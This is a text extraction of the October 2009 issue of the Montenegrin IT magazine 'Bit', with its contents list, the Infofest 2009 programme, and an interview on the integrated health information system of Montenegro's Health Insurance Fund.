broj 38 oktobar 2009 godina IV cijena 1 eur · 2017. 9. 22. · vali nagrađeni učenici, njihovi nastavnici i direktori škola. Na svečanosti su govorili potpredsjednik Vlade i

broj 38oktobar 2009godina IVcijena 1 eurwww.bit.me

aktuelnoNagrade za najbolje 4eDMS u Vladi 4Infofest 2009 4

intervjuZoran GlomazićReforma zdravstva na plećima informatike 6

Registri 10

IntervjuMilan MartinovićInformacione tehnologije i standardi Svjetskog poštanskog saveza u Pošti Crne Gore 12

Ekonomski uticaj operativnog sistema Windows 7 na IT sektor 13

softverSistemi za podršku odlučivanju 14FastStone ImageViewer 3.9 16

hardverMonitorski interfejsi 17Neobične tastature 18

softverDataCode & DataRest 20

predstavljamoLaboratorija za primijenjenuelektroniku ETF-a, Podgorica 21

studenti fit-aJavaScript 22

telekomunikacijeVodič kroz wireless 24Moodle 1.1.1 (e-learning) 26

Online radio 27

webMoj dan na internetu

Velibor Bošković 28inter(n)etsantni

linkovi 29

mobilniNokia N97 31

školaSQL

funkcije za konverziju 32

Java programiranje 36AutoCad 38

IgreWolfenstein 40Call of Juarez: Bound in Blood 41

pitanja i odgovori 42

Izdava~:”InfoBit” d.o.o

Izvr{ni direktor:Zoran Jeli}

Glavni i odgovorni urednik:Zoran Jeli}

Redakcija:Mario ErcegDanilo Tom~i}Branimir Bukili}Vladimir Gazivoda

Tehni~ki urednik:Budimir Bukili}

Saradnici:Ivana Petrovi}Dènan Struji}Goran Jeli}@eljka Ra~i}Marija Roganovi}Ivan Radunovi}Dimitrije Dra{kovi}

Adresa:II crnogorskogbataljona bb

Web adresa:www.bit.me

E-mail:[email protected]

[tamparija:3M Makarije

Redakcija i uredni{tvozadràvaju sva prava nadprimljenim materijalom

(putem e-maila, po{te…).

Zabranjeno je reprodukovanjematerijala objavljenih u

magazinu „Bit" bez saglasnosti uredni{tva.

Indexreklama

ERC commerce . . . . . . .2

mapiraj.me . . . . . . . . . . .9

Multiprint . . . . . . . . . .16Inventivnost . . . . . . . . .19

e-Mon . . . . . . . . . . . .20

De{avanja.me . . . . . . . .30

ZEN-IT . . . . . . . . . . . . .35

Bitmap . . . . . . . . . . . .37

Bitnet . . . . . . . . . . . . .37Enel PS . . . . . . . . . . . .39îkom . . . . . . . . . . . .43

informacione tehnologijeoktobar2009

Uvod

Kao pred svaki Infofest gdje smo i počeli, krenemo da sumi-ramo postignuto u prethodnoj godini. Naši najvjerniji kri-tičari su posjetioci festivala jer mnogi su rijetko umogućnosti da se druže sa BIT-om.

Ono što možemo da ponudimo je jedan realan presjekstanja u ICT sektoru i možda neki specifičan kvalitet koji seoslanja na edukaciju svoje čitalačke publike.

Na ovogodišnjem Infofestu učesnicima će biti podijeljenprimjerak oktobarskog broja. Sve kritike, sugestije i pohvalemožete nam slati na e-mail adresu [email protected]

Zoran Jelić

Glavni i odgovorni urednik

IMPRESUM

SADRŽAJ

3strana

4 strana

Nagrade za najboljeMinistarstvo za informaciono društvo, usaradnji sa Ispitnim centrom je u srijedu,16. septembra, organizovalo svečanouručenje nagrada za pobjednikedržavnog takmičenja učenika osnovnih isrednjih škola iz prirodnih nauka, istorijei stranih jezika. Svečanosti su prisustvo-vali nagrađeni učenici, njihovi nastavnicii direktori škola.

Na svečanosti su govorili potpredsjednikVlade i ministar za informaciono društvoprof. dr Vujica Lazović, izvršni direktorCrnogorskog Telekoma Slavoljub Popadići direktor Ispitnog centra prof. dr ŽeljkoJaćimović.

eDMS u VladiPotpredsjednik Vlade i ministar za infor-maciono društvo prof. dr Vujica Lazović ii Nenad Vraneš u ime konzorcijumaČikom iz Podgorice, SRC sistemske inte-gracije iz Ljubljane i SRC sistemske inte-

gracije iz Beograda, potpisali su 2.septembra, Ugovor o izradi i imple-mentaciji informacionog sistema za up-ravljanje dokumentima u Vladi iMinistarstvima – eDMS.

Nap

omen

a:O

vo je

naj

avni

pro

gram

. Org

aniza

tor z

adrž

ava

prav

o izm

jene

.

PROGRAM INFOFEST-a

INFOFEST je selektivna manifestacija (pravo učešća se stiče na osnovu poziva selekcionihorgana Festivala), sa umjerenim takmičarskim karakterom, zbog dodjele nagrada i priz-nanja. Zvanični INFOFEST sadržaji odvijaju se kroz nekoliko različitih programskih formi(kompanijska izložba, promocione i stručne prezentacije, autorski radovi, okrugli sto,tematske konferencije, panel-rasprave ...).

U programu nastupaju vodeće svjetske i regionalne ICT kompanije, renomirani među-narodni eksperti, autori najboljih stručnih radova, ključni korisnici IC tehnologija. Poredzvaničnih programa, u okviru Festivala održava se i niz pratećih i animativnih sadržajakoji doprinose inspirativnoj i relaksantnoj poslovnoj atmosferi. U strukturi učesnika - po-jedinaca dominiraju donosioci odluka iz velikih poslovnih sistema, državne i javne up-rave, finansijskih institucija, javnih preduzeća i industrije.

O P Š T A A G E N D A

Dolazak i registracija učesnika Avala, Welcome Desk 27.09. do 19.30Otvaranje Festivala Avala, Terasa 27.09. u 20.30Prezentacije ekskluzivnih učesnika Avala, Kongresna sala 28.09. – 02.10.Specijalni učesnici – "Infofest predstavlja" Avala, Kongresna sala 28.09. – 02.10.Infofest-izložba Mogren 28.09. – 02.10.Prezentacioni program Avala, Kongresna sala

i Mogren, Salon 28.09. – 02.10.VII konferencija regulatornih tijela:"Dostignuti stepen regulacije i analize tržišta elektronskih komunikacija" Mogren, Salon 28 – 29.09.Seminar: "Cloud Computing" Mogren, Salon 30.09.Autorski radovi Mogren, Salon 30.09. i 01.10.Savjetovanje: "Moderno bankarstvo - izazov za ICT sektor" Mogren, Salon 01 – 02.10.Tribina: "Savremeni informacioni sistemi državnih organa Crne Gore" Avala, Kongresna sala 02.10.Okrugli sto: "Položaj ICT sektora u Crnoj Gori" Avala, Kongresna sala 02.10.Uručenje nagrada i zatvaranje Festivala Avala, Kongresna sala 02.10. u 20.00"Veče s Budvanima" Gradski trg 02.10. u 21.00Odlazak učesnika 03.09.


www.infofest.com


5strana

ponedjeljak, 28. septembar

početak završetak mjesto sadržaj

10.00 10.30 Avala, Kongresna sala "Infofest predstavlja" / specijalni učesnik: MFC – Mikrokomerc – "Servisi Spider platforme u koristgrađana"

10.00 13.30 Mogren, Salon Konferencija: "Dostignuti stepen regulacije i analize tržišta elektronskih komunikacija" (sesija 1) – nosi-lac: Agencija za elektronske komunikacije i poštansku djelatnost Crne Gore

10.45 11.15 Avala, Kongresna sala doMEn – ".ME Registry"11.30 12.00 Avala, Kongresna sala Ekskluzivni učesnik: MDS Informatički inženjering – "Arhitektura sistema zaštite računarske mreže za po-

dršku PCI standarda"12.15 12.45 Avala, Kongresna sala Ekskluzivni učesnik: Informatika Montenegro – "Prebrodimo krizu informacionim rješenjima"17.00 17.30 Avala, Kongresna sala Centre for eGovernance Development for SEE (CEGD) – "The Challenge of Public-Private Partnership for

Society Development in South East Europe"17.15 17.45 Mogren, Salon JISA – "Digitalna pismenost – uslov i obaveza"17.45 18.15 Avala, Kongresna sala Turistička organizacija grada Novog Sada – "e-Portal Novog Sada"18.30 20.00 Avala, Kongresna sala Ministarstvo unutrašnjih poslova i javne uprave Crne Gore – "Centralni registar stanovništva"

utorak, 29. septembar


10.00 10.30 Avala, Kongresna sala Ekskluzivni učesnik: Saga10.00 13.30 Mogren, Salon Konferencija: "Dostignuti stepen regulacije i analize tržišta elektronskih komunikacija" (sesija 2) – nosi-

lac: Agencija za elektronske komunikacije i poštansku djelatnost Crne Gore10.45 11.15 Avala, Kongresna sala Ekskluzivni učesnik: ZZI – "Upravljanje elektronskim dokumentima"11.30 12.00 Avala, Kongresna sala Ekskluzivni učesnik: Promonte12.15 12.45 Avala, Kongresna sala Energoprojekt - Energodata18.00 18.30 Avala, Kongresna sala Oracle – "Oracle – the Information Company"19.00 19.30 Avala, Kongresna sala Ekskluzivni učesnik: Crnogorski Telekom

srijeda, 30. septembar


10.00 10.30 Avala, Kongresna sala Ekskluzivni učesnik: Serbian Business Systems – "Informacioni sistem suda – SENA"10.45 11.15 Avala, Kongresna sala Ekskluzivni učesnik: Digit Montenegro10.45 11.15 Mogren, Salon Ekskluzivni učesnik: Pošta Crne Gore – "Pošta Crne Gore kao član globalne poštanske porodice – ICT i

standardi Svjetskog poštanskog saveza"11.30 12.00 Avala, Kongresna sala Republički fond za zdravstveno osiguranje Crne Gore – "eHealth – osnove i perspektive razvoja u Crnoj

Gori"11.30 12.45 Mogren, Salon Seminar: "Cloud Computing" – nosilac: E-Smart Systems12.15 12.45 Avala, Kongresna sala Infostream16.00 19.45 Mogren, Salon Autorski radovi – sesija 117.45 18.15 Avala, Kongresna sala Cisco Systems – "Budućnost Interneta"18.30 19.00 Avala, Kongresna sala Uprava carina Republike Srbije – "E – Customs: Unapređenje IT infrastrukture na Microsoft - platformi"19.15 19.45 Avala, Kongresna sala "Infofest predstavlja" / specijalni učesnik: Microsoft – "Windows 7 – čvrst temelj za nove mogućnosti"

četvrtak, 01. oktobar


10.00 10.30 Avala, Kongresna sala Ekskluzivni učesnik: Čikom10.00 10.30 Mogren, Salon IT Excellence – "Sistem planiranja, analitike i monitoringa u bankarstvu"10.45 11.15 Avala, Kongresna sala MFC – Mikrokomerc - "BPM (Upravljanje poslovnim procesima)"10.45 12.45 Mogren, Salon Savjetovanje: "Moderno bankarstvo - izazov za ICT sektor" – nosilac: Asseco SEE (sesija 1)11.30 12.00 Avala, Kongresna sala IBM – International Business Machines12.15 12.45 Avala, Kongresna sala Uprava za trezor Republike Srbije16.00 19.30 Mogren, Salon Autorski radovi - sesija 218.00 18.30 Avala, Kongresna sala Ministarstvo za informaciono društvo Crne Gore – "Od vizije do realnosti"19.00 19.30 Avala, Kongresna sala Crnogorski Telekom

petak, 02. oktobar


10.00 10.30 Avala, Kongresna sala "Infofest predstavlja" / specijalni učesnik: Ensior – "Business Intelligence – Much More Than KnowingYour Metrics"

10.00 10.30 Mogren, Salon Čikom10.45 12.45 Avala, Kongresna sala Tribina: "Savremeni informacioni sistemi državnih organa Crne Gore" – nosilac: Ministarstvo za informa-

ciono društvo Crne Gore10.45 12.45 Mogren, Salon Savjetovanje: "Moderno bankarstvo - izazov za ICT sektor" – nosilac: Asseco SEE (sesija 2)17.00 19.00 Avala, Kongresna sala Okrugli sto: "Položaj ICT sektora u Crnoj Gori" – nosilac: Udruženje za ICT Privredne komore Crne Gore

1. Gospodine Glomaziću, možete li nam predstaviti o kojimse to informacionim sistemima radi?

Crnogorska samostalnost, procesi globalizacije i težnji za pristupan-jem Evropskoj Uniji, nameću ogromne obaveze u pripremi svih seg-menata sistema za funkcionisanje u drugačijim okolnostima i po većusvojenim standardima koji se primjenjuju u razvijenim državama. Zdravstveni sistem je dio opšteg društvenog sistema, odnosno jedanod njegovih najvažnijih podsistema, čiji je glavni zadatak un-apređenje i očuvanje zdravlja. On ima posebnu ulogu u svakoj državizbog toga su specifični i način organizacije i način finansiranja tog sis-tema u pojedinim zemljama.Pred nama su veliki izazovi i u toj oblasti s obzirom da je neophodnoobezbijediti kvalitet usluge i poštovanje evropskih standarda i prijeulaska u EU. Naš odgovor na te izazove je sveobuhvatna i kvalitetna reorganizacijai reforma zdravstvenog sistema na svim nivoima.Tu se može govoriti o integralnom informacionom sistemu zdravstvasa nizom podsistema koji su uključeni u sistem i u procesnom i po-datkovnom sistemu.U okviru Integralnog informacionog sistema zdravstva u Crnoj Gori,

nalazi se više od 250 udaljenih lokacija, raznih pravnihsubjekata, koji razmjenjuju podatke sa central-

nom lokacijom u Podgorici. Svi oni koriste kao komunika-

cione linkove, raznevrste transportnihmreža, u zavisnosti odmogućnosti pružanjaservisa na određenojteritoriji od stranelokalnih provajdera.Informacioni sistemFonda predstavlja’’okosnicu’’ i srž svihrazvijenih informacionihsistema. Ovim sistemomje pokriveno cjelokupnoposlovanje Fonda. Sve

organizacione jedinice Fonda komuniciraju sa Centralom Fonda u on-line režimu. Trenutno u sistemu Fonda funkcioniše 20 Filijala i Cen-trala u Podgorici.Softverski su podržane aktivnosti u Fondu, u AU „Montefarm“, u svih18 domova zdravlja, u bolnici Pljevlja u Institutu za javno zdravlje, in-formatička podrška radu stomatoloških ambulanti (preko 100). U potpunosti su međusobno integrisani ovi sistemi što obezbjeđujeelektronsko fakturisanje, međusobnu elektronsku komunikaciju iveoma kvalitetne baze: bazu upotrebe ljekova i baze pruženih usluga.

2. Najnoviji i jedan od najvećih projekata do sada je svakako IS zaprimarnu zdravstvenu zaštitu, možete li nam predstaviti ovaj pro-jekat?

Strateško razvojno opredjeljenje Fonda jeste primjena informacionokomunikacionih tehnologija u poslovnim procesima u zdravstvu. Digi-talizacijom bilo koje informacije, podatka, slike, zvuka, dobijaju seneslućene mogućnosti korišćenja u mreži.U Crnoj Gori je implementiran integralni informacioni sistem pri-marne zdravstvene zaštite, na veoma visokom tehnološkom nivou sapotpuno otvorenom platformom za povezivanje sa većim nivoimazdravstvene zaštite, organizacijama koje se bave osiguranjem i farma-ceutskim sektorom. Ovo daje mogućnost elektronskog zakazivanja posjete, elektronskogpropisivanja ljekova, elektronskog upućivanja ne veće nivoe (sekun-darni i tercijarni), telekonsaltinga, praćenja bolovanja, itd. što pred-stavlja kvalitetnu infrastrukturu za primjenu eHealth rješenja poevropskim preporukama, kada se za to stvore uslovi (primjena digi-talnih potpisa, sertifikaciono tijelo i druga infrastruktura) na nivoudržave. Informacioni sistem PZZ je u potpunosti integrisan sa infor-macionim sistemom Fonda i AU „Montefarm“ čime je zaokružen, uinformatičkom smislu, ogroman dio zdravstvenog sistema. Stvorenaje mogućnost elektronske razmjene podataka sa Institutom za javnozdravlje i slanje statističkih podataka. Podsjećamo da je Fond, još 2004. godine, razvio kvalitetan informa-cioni sistem za praćenje distribucije ljekova na recept kroz sistem AU„Montefarm“. Na ovaj način je uspostavljena informatička infrastruk-tura koju koriste subjekti integralnog zdravstvenog informacionog sis-tema.

Opredjeljenje za ovakvo projektno rješenje zahtijevalo je puno kom-pleksniji pristup, ali je omogućilo niz prednosti u eksploataciji istvaranje uslova za informatizaciju povezanih poslovnih procesa kojise odvijaju u različitim institucijama. Imajući u vidu da rad ljekara i odluke koje on donosi zahtijevaju čitav

6 strana informacione tehnologijeoktobar2009

Poštovani čitaoci,Kroz druženje sa zamjenikom direktora Fondaza zdravstveno osiguranje Crne Gore i rukovo-diocem računskog centra u Fondu, ZoranomGlomazićem i projekt menadžerom, a sada po-moćnikom ministra za informaciono društvo mrAdisom Balotom, pokušaćemo da vam pred-stavimo informatičku podršku reformizdravstvenog sistema Crne Gore kroz informa-cione sisteme koji su implementirani u protek-lih nekoliko godina.

Zoran Glomazićrukovodilac računskog centra,

Fond za zdravstveno osiguranje Crne Gore

Reforma zdravstva naplećima informatike


7strana

niz informacija o stanju zdravlja pacijenta pa čak i o njegovom socijal-nom statusu, navikama, faktorima rizika itd. neophodno je biloomogućiti takav sistem koji će sakupljati informacije o pacijentutokom njegovog života i skladištiti ih na jednom mjestu bez obzirakad i u kojem dijelu sistema su one nastale. Na ovaj način se došlo do osnova koji čini elektronski zdravstveni kar-ton na primarnom nivou. On je dostupan na mjestima pružanja us-luga, do nivoa koji je u skladu sa ovlašćenjima koja ima učesnik kojipristupa podacima. Dakle, obezbijeđen je jedinstven elektronski zdravstveni karton zasve osiguranike u Crnoj Gori na primarnom nivou.Pored toga obezbijeđena je elektronska razmjena podataka sa Min-istarstvom i Institutom za javno zdravlje nakon njihovog definisanjastrukture tih podataka, a planirano je povezivanje sa Agencijom zaljekove i medicinska sredstva.Implementacija informacionih sistema je jako kompleksna i složenapogotovu kad se radi o čitavom nizu podijeljenih nadležnosti izmeđupojedinih institucija, kakav je ovdje bio slučaj. Zato je veoma bitnonaglasiti da je uspješnosti Projekta najviše doprinijela sinergijauključenih institucija, Ministarstva zdravlja, Fonda, Instituta za javnozdravlje, domova zdravlja i njihovih rukovodećih struktura i na tomeim zaista iskreno zahvaljujem. Poseban doprinos su, ipak, dali g-dindoc. dr Miodrag Radunović, ministar zdravlja i g-din mr Ramo Bralićdirektor Fonda.

3. Objasnite nam pojam integralnosti sistema?

Promjena dovodi do dezintegracije. Što je promjena ekstremnija isveobuhvatnija stvari se brže raspadaju. Jedini lijek je integracija.Kako se integracija ostvaruje?Najefektivniji način jeste proaktivna integracija. Drugi manje usp-ješan metod je reaktivno integrisanje. Kad se pojavi problem! Manje uspješno je zanemarivanje problema dok ne preraste u krizu itek onda menadžment počinje da se bavi njime. I najgora varijanta jene raditi ništa i dopustiti da kriza preuzme organizaciju i prouzrokujenjen nestanak. Tretman za dezintegraciju je integracija, a integracija se najbolje ost-varuje proaktivno, učenjem kako da se predvide i riješe problemiprije nego što postanu kriza. Naše opredjeljenje je proaktivna inte-gracija.

Informacioni sistem treba da funkcioniše kao jedinstvena cjelina i vršiintegraciju poslovnih procesa i podataka unutar poslovnog sistema,da omogući komunikaciju sa okruženjem uz poštovanje bezbjednos-nih procedura i zaštite podataka. Koristeći prednosti ovakvog projektnog rješenja u potpunosti jeisključeno višestruko unošenje istih informacija u različitim djelovimasistema. To znači da jednom unesen podatak u sistem postajedostupan u svim segmentima sistema uz poštovanje pravila pristupa iovlašćenja. Odnosno, evidentiranjem podataka npr. o osiguraniku ubazi osiguranika Fonda oni postaju dostupni u cijelom sistemu bezpotrebe upisivanja i mogućnosti pravljenja grešaka. Na sličan način su dostupne sve ostale baze i šifarnici koji predstavl-jaju parametrizovane skupove podataka za pojedine podsisteme.

4. Da li je moguće bilo zamisliti reformu zdravstvenog sistema bezinformatičke podrške?

Ciljevi koji su se željeli dostići reformom definisani su kroz niz doku-menata, a oni su bili ostvarivi samo ako se kroz proces reforme izvršiintegracija sistema, odnosno integracija procesa i podataka. To je za-htijevalo da se pristupi kompletnom reinženjeringu poslovnihprocesa u organizaciji zdravstvenih ustanova na primarnom nivou. Na taj način, kroz postavljanje nove organizacije, nove metodologijeplaćanja i interne realokacije sredstava i kroz podršku informaciono –komunikacionih tehnologija u odvijanju tih procesa došlo se doveoma kvalitetne organizacije čije funkcionisanje je u ogromnoj mjerizavisno od kvaliteta informacionog sistema.

Aktivnosti Fonda u proteklom višegodišnjem periodu na uvođenju in-tegralnog informacionog sistema bile motivisane shvatanjem da in-formacioni sistem može biti snažan kohezioni faktor unutar sistema,kao i veoma moćan instrumentarij na osnovu kojeg će se donositi up-ravljačke odluke na svim nivoima upravljanja polazeći od informacijakoje informacioni sistem može da ponudi o stanju sistema.Zbog toga se pristupilo dizajniranju sistema koji u svakom momentudaje ažurnu informaciju o stanju resursa pojedinih segmenata, kao ikvalitetne informacije o zdravstvenom stanju pacijenata.Ovaj sistem je postao jako kompleksan i višedimenzionalan i kaotakav kritično važan za funkcionisanje cjelokupnog sistema zdravstva,pogotovo na primarnom nivou.

G-dine Balota, koristimo priliku da Vam čestitamo prelazak na novu funkciju pomoćnika Ministra i zamolimo da nam predstavite planoveVašeg sektora za informatičku infrastrukturu?

Ministarstvo za informaciono društvo(MID) će saglasno usvojenoj Strate-giji razvoja informacionog društva do2013. godine, u narednom periodupristupiti realizaciji brojnih projekata,koji su sadržani u Akcionom planu.Određeni projekti su već započeti injihova relaizacija ide definisanomdinamikom.

Naravno, MID će i dalje kreirati takavambijent u Crnoj Gori, koji ćeomogućiti razvoj ICT baziran namodernim trendovima.MID poseban akcenat stavlja na un-apređenje stanja u oblasti ICT-a, inastojaće da u što većem stepenu iz-gradi partnerstvo između privatnog ijavnog sektora. Jedno od strateškihopredeljenja u narednom periodubiće korišćenje domaćih infor-matičkih resursa, odnosno domaćegznanja, jer je veliki broj uspješnihprojekata u Crnoj Gori i završen odstrane domaćih firmi i pojedinaca.Znači, potencijal i te kako postoji.

U narednom periodu, posebnapažnja biće posvećena edukaciji za-poslenih u državnoj upravi, u dijeluupoznavanju rada na računaru, pomeđunarodnim standardima, kao iobuke za e-gavarment. Navedenaedukacija jeste preduslov za prim-jenu i realizaciju svih informatičkihrješenja, koja su neophodna za svakumodernu državu. Takođe, bićeposvećena posebna pažnja standard-

izaciji šifarskog sistema uCrnoj Gori, koji će se upotre-bljavati u svakodnevnom živ-otu, kako kod državnihorgana, tako i kod dijela pri-vatnog sektora. Na taj način,bi se izbjegla situacija da dvasistema, u informatičkomsmislu loše ili nikako ne ko-municiraju među sobom. Pred MID predstoji velikiposao na podizanju na štoveći nivo, bezbjednost infor-matičke infrastrukture uCrnoj Gori.

Tu se prevashodno misli nadonošenju preostale potrebnepravne regulative, kao i na izradi Pro-jekta ’’Disaster recovery’’ za svedržavne organe. Pri MID biće formi-rana grupa stručnjaka iz oblastisprečavanja ’’sajber kriminala’’, kojaće stalno vršiti analizu informatičkeinfrastukture sa aspekta bezbjed-nosti i sigurnosti i predlagati mjere zanjeno unapređenje.

nast

avak

na

sled

ećoj

str

ani


8 strana

Za kvalitetan rad i donošenje optimalnih poslovnih odluka sistemi os-iguranja moraju imati pouzdan i integrisan sistem praćenja korišćenjaresursa. IKT mogu donijeti brojne prednosti, uštede, unapređenja ipoboljšanja, odnosno mijenjati stratešku perspektivu kompanija, alisamo ako su usko povezane sa organizacionim karakteristikama kom-panije. Stoga je ERP rješenje ili Poslovni informacioni sistem rađen uskladu sa potrebama i strukturom subjekata koji ga koriste i u pot-punosti integrisan sa njihovom organizacijom. On obuhvata sve uo-bičajene module neophodne za planiranje, kontrolu i upravljanjeresursima, a postavljen je na savremenoj tehnološkoj osnovi u Oracleokruženju.Na taj način se zaista desilo pomjeranje ka organizaciji koja upravljaznanjem, koja poslovne odluke i strateško planiranje zasniva naažurnim i kvalitetnim podacima i ona postaje pokretač modernogposlovanja unutar sistema zdravstva.Potpuno je jasno da menadžeri danas moraju jako dobro poznavatimogućnosti i sposobnosti IKT. Tehnologija je sve više okrenuta koris-nicima, njeno korišćenje je sve više intuitivno i ne zahtijeva nekaposebna tehnička predznanja. Nivo informatičke pismenosti ipak izdana u dan raste, možda ne onim tempom kojim bi voljeli, ali je sveveći broj ljudi i samih menadžera prinuđen da koristi prednosti kojepružaju IKT.

5. Da li je uspješnost projekata potvrđena i nekim nagradama?

Integralni informacioni sistem pri-marne zdravstvene zaštite, kao diointegralnog sistema zdravstva jerazvijen na savremenoj platformiuz korišćenje najnovijihtehnologija u razvoju aplikacija i onjemu su izrečene jako impresivneocjene od strane kompetentnihstručnjaka, predstavnika Svjetskebanke, Svjetske zdravstvene orga-nizacije, međunarodnih i regional-nih konsultanata za eHealth. Po načinu organizacije, strateškimopredjeljenjima, obuhvaćenimposlovnim procesima i tehnologijiovaj sistem je, po ocjeni mnogih,jedinstven u regionu, a vjerovatnoi šire.Tu se kriju i razlozi zbog kojih je Fond dobitnik niza priznanja inagrada. Pomenimo samo nagrade Diskobolos 2003 za informatičkorješenje „Kontrola distribucije i upotrebe ljekova“; Diskobolos 2007za rješenje „Informatička podrška procesima u PZZ“. Posebno is-tičemo nagradu - priznanje za najbolje projektno rješenje na prošlo-godišnjem INFOFEST-u. Uspjesi, naravno stvaraju i obaveze. Pošto je naš uspjeh u razvoju in-tegralnog sistema prepoznat kao najbolja praksa, na II Forumu orga-nizacija zdravstvenog osiguranja koji je održan u oktobru 2008.godine u Portorožu – Slovenija, dobili smo počast i obavezu dabudemo domaćini III Foruma mreže organizacija zdravstvenog osigu-ranja koji se održava 22-23. oktobra u Bečićima.

6. Šta je sa reformom sekundarnog i tercijalnog nivoa zdravstvenezaštite? Da li imate u planu nove projekte?

Bolnice u današnjem sistemu zdravstvene zaštite neće moći daprežive bez digitalnih informatičkih sistema za praćenje i analizu po-dataka o brizi za pacijenta. Mi moramo bolje da pratimo šta se u bol-nici događa u suprotnom ćemo propasti. Ljekari shvataju potrebu kontrole troškova, ali se osjećaju zatrpanipropisima i birokratijom. Boje se da su na taj način njihove opcijeograničene i da zbog toga trpi pacijent. Osim toga i sami moraju dase bave složenim stvarima, smatrajući pacijentove podatke

poslovnim zapisima koje zbog toga nerado daju na uvid drugimljekarima. Uz to su često vrlo neskloni upotrebi računara. Po nekim istraživanjima u razvijenim zemljama oko trećine svogradnog vremena ljekari koriste za bilježenje podataka i sintezu infor-macija, a trećina troškova bolnica se odnosi na ličnu i profesionalnukomunikaciju. Uspjesi u dosadašnjem toku reformi, a posebno u razvoju integralnoginformacionog sistema u zdravstvu su nam dali snage i odlučnosti daodpočnemo razvoj i implementaciju iformacionog sistema na dru-gom i trećem nivou.Tokom implementacije projekata u primarnoj zdravstvenoj zaštitirađen je pilot projekat informacionog sistema u opštoj bolniciPljevlja. Obzirom da je pilot projekat ispunio očekivanja i u pot-punosti integrisan sa dosadašnjim modulima već smo 11.09.2009. nakonstitutivnom sastanku Upravnog komiteta za projekat ISOB ušli uimplementaciju informacionog sistema u opštim bolnicama u CrnojGori.U realizaciju ovog projekta takođe su uključeni Ministarstvo zdravlja,Fond, Institut za javno zdravlje i menadžmenti opštih bolnica. Inicija-tiva za ulazak u ovaj projekat je potekla od ministra zdravlja, a punupodršku je dao i direktor Instituta za javno zdravlje g-din dr BobanMugoša.

Informatički projekti u zdravstvu su dokaz da u Crnoj Gori postoji do-voljno ICT znanja za ozbiljne projekte.

7. Koja preduzeća su vam bila part-neri na projektima?

Fond se prilikom otpočinjanja ak-tivnosti na izgradnji ovakvog kom-pleksnog sistema oslanjao nasopstvene - lokalne resurse i nji-hovo osposobljavanje za dogradnjui buduće održavanje. U oblasti soft-vera to je značilo opredjeljenje zarazvoj prema našim zahtjevima,uvažavajući specifičnu organizacijusistema zdravstva u Crnoj Gori ispecifičnosti samog koncepta re-formi. Na taj način je obezbijeđenrazvoj i implementacija softvera za

konkretne potrebe od strane domaćihizvođača uz obezbjeđenje izvornog koda i prava korišćenja u sistemubez vezivanja za licencna prava.Ovdje želim istaći da je sav razvoj i implementacija informaconog sis-tema bazirana na savremenim tehnologijama, a da su je realizovali,zajedno sa nama uglavnom, domaći stručnjaci iz raznih oblasti i izviše nučno obrazovnih institucija.Uz rizik da u ovom momentu ne pomenem sve koji su doprinijeli usp-jehu, ipak želim istaći da su, pogotovo u početnim fazama, veliki do-prinos dali: dr Ljubiša Stanković, dr Vujica Lazović – Univerzitet CrneGore, Slavoljub Popadić, - T-Com, dr Zdenko Tomić, dr Ana Sabo i drMomir Mikov – Univerzitet Novi Sad, dr Ramo Šendelj - UniverzitetMediteran i mnogi drugi. Takođe su u tom razvoju učestvovali svi značajniji IT subjekti u CrnojGori. Posebnu ulogu je naravno odigrao naš strateški partner urazvoju sistema podgorička softverska firma MG-Soft. Pored njih vri-jedi istaći saradnju sa firmama Čikom, Digit Montenegro, InformatikaMontenegro, Logate, Telemont i dr.Poruka donosiocima ključnih odluka za razvoj jeste da se IKT ne moguposmatrati na način da one čine trošak mora se povećati ulaganje urazvoj, izgradnju, edukaciju, implementaciju kako bi podigli nivokvaliteta života kroz povećanje primjene IKT.Mora se više pažnje posvetiti ulaganju u informacione sisteme uzdravstvu. Do danas se na području zdravstvene zaštite u zemljamazapada trošilo samo 2 – 3 posto (kod nas puno manje ni 1%) što jejako daleko od tipičnih 15% za bankarski sektor.

nast

avak

sa

pret

hodn

e st

rane

Ukoliko želite da se vaš objekat(firma, ustanova, ...)

nađe na

jedinoj interaktivnoj mapi Podgorice

pošaljite nam informacije (slika, link lokacije)

na mail [email protected]

Napomena: Ova usluga je besplatna

Ministarstvo zaINFORMACIONO DRUŠTVO

STRATEGIJA transformacije usluga orijentisanih prema građanimapodrazumijeva transfer često korišćenih i usluga sa visokimpovraćajem informacija pruženim putem elektronskih kanala uzpomoć ICT-a, kao i osiguravanje pružanja usluga kroz reinžinjeringposlovnih procesa u skladu sa potrebama korisnika. U procesimaimplementacije strategije na bazi transformacije usluga, ključniprincipi će biti pitanje zadovoljenja potreba korisnika prilikom redi-zajniranja poslovnih procesa između javnih institucija i pružanja us-luga građanima i preduzećima. Prioritet u ovom procesutransformacije usluga neće biti samo transfer dostupnih poslovnihprocesa prema elektronskim kanalima bez unapređenja; sa drugestrane, cilj je dostaviti ove usluge, koje će obuhvatiti redizajniraneprocese prema potrebama korisnika, inte-gracijom ili pojedn o stavljenjem gdje je topotrebno, u efektivnom, neprekidnom,brzom, transparentnom, pouzdanom i inte-grisanom pravcu. Kako bi bilo omogućenoupravljanje pristupom elektronskimservisima od strane građana i preduzeća,osiguraće se da ove usluge budu dostupnesa jednog mjesta/portala i kroz više kanala. Pružanje elektronskih usluga će pomoći u obezbjeđenju značajnihušteda u finansijskim izvorima kao i uštede u vremenu građanima ijavnim institicijama. Uz efektivnost i interoperabilne kapacitete ICT-a koje će kroz procesuiranje usluga pružiti javnim sektorima , gu-bitci i greške će biti izbjegnuti, javni prihodi će se povećati, što ćekao rezultat imati povećanje zadovoljstva društva, a na osnovu togatransparentnost, pouzdanost, mjerljivost i participacija u javnoj ad-ministraciji će biti u značajnoj mjeri povećana. Stub informatičkog društva i servisa koji će biti pruženi građanima iposlovnim subjektima treba da se obezbijedi uspostavljanjem bazapodataka koje podrazumijevaju ažurirane i pouzadne informacijekao što su adresni registri, javne biblioteke, registri građana i sl.

Strateški prioriteti Transformacijom usluga koje su okrenute prema građanima i zado-voljenju njihovih potreba, javne usluge će biti pružene efektivnoputem elektronskih kanala. Uzeće se u obzir potrebe i navike koris-nika i na taj način pristup uslugama, korišćenje i nivo satisfakcije us-lugama će biti povećani. U tom smislu potrebno je:

- povećati broj i nivo razvoja usluga koje se pružaju putemelektronskih kanala;

- povećati upotrebu usluga koje se pružaju putem elektron-skih kanala;

- povećati nivo satisfakcije uslugama koje se pružaju putemelektronskih kanala;

- kreirati centralni registar kao osnovu za sve druge usluge;povezati i harmonizovati postojeće registre i baze po-dataka i definisati načine, procedure i tehnička rješenjakorišćenja podataka registara;

-

učiniti usluge dostupnim ne samo u glavnimurbanim područjima već i u ruralnim oblas-tima i udaljenim krajevima.

